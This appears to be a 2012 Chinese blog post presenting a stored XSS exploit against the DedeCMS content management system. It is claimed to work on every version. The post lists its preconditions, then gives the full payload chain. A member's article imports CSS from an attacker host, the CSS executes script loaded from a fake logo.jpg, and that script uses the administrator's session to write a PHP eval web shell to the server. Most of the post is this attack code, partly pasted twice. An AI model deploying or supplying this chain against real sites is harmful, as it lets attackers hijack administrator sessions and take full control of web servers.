DEDECMS XSS GETSHeLL 通杀所有版本

发表于 2012年02月14日
周边

利用条件：开启注册&&开启投稿
方法：注册会员 -> 发表文章：内容输入

<style>@import´http://xxx.com/xss.css´;</style>

1	<style>@import´http://xxx.com/xss.css´;</style>

xss.css内容：

body{background-image:url(´javascript:document.write(“<script src=http://xxx.com/logo.jpg></script>”)´)}

1	body{background-image:url(´javascript:document.write(“<script src=http://xxx.com/logo.jpg></script>”)´)}

logo.jpg内容：

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(´text/xml´);
}
} else if(window.ActiveXObject) {
var versions = [´Microsoft.XMLHTTP´, ´MSXML.XMLHTTP´, ´Microsoft.XMLHTTP´, ´Msxml2.XMLHTTP.7.0´,´Msxml2.XMLHTTP.6.0´,´Msxml2.XMLHTTP.5.0´, ´Msxml2.XMLHTTP.4.0´, ´MSXML2.XMLHTTP.3.0´, ´MSXML2.XMLHTTP´];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
function getFolder( url ){
obj = url.split(´/´)
return obj[obj.length-2]
}
oUrl = top.location.href;
u = getFolder(oUrl);
add_admin();
function add_admin(){
var url= “/”+u+”/sys_sql_query.php”;
var params =”fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++”;
xmlhttp.open(“POST”, url, true);
xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xmlhttp.setRequestHeader(“Content-length”, params.length);
xmlhttp.setRequestHeader(“Connection”, “Keep-Alive”);
xmlhttp.send(params);
}

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType(´text/xml´);

}

} else if(window.ActiveXObject) {

var versions = [´Microsoft.XMLHTTP´, ´MSXML.XMLHTTP´, ´Microsoft.XMLHTTP´, ´Msxml2.XMLHTTP.7.0´,´Msxml2.XMLHTTP.6.0´,´Msxml2.XMLHTTP.5.0´, ´Msxml2.XMLHTTP.4.0´, ´MSXML2.XMLHTTP.3.0´, ´MSXML2.XMLHTTP´];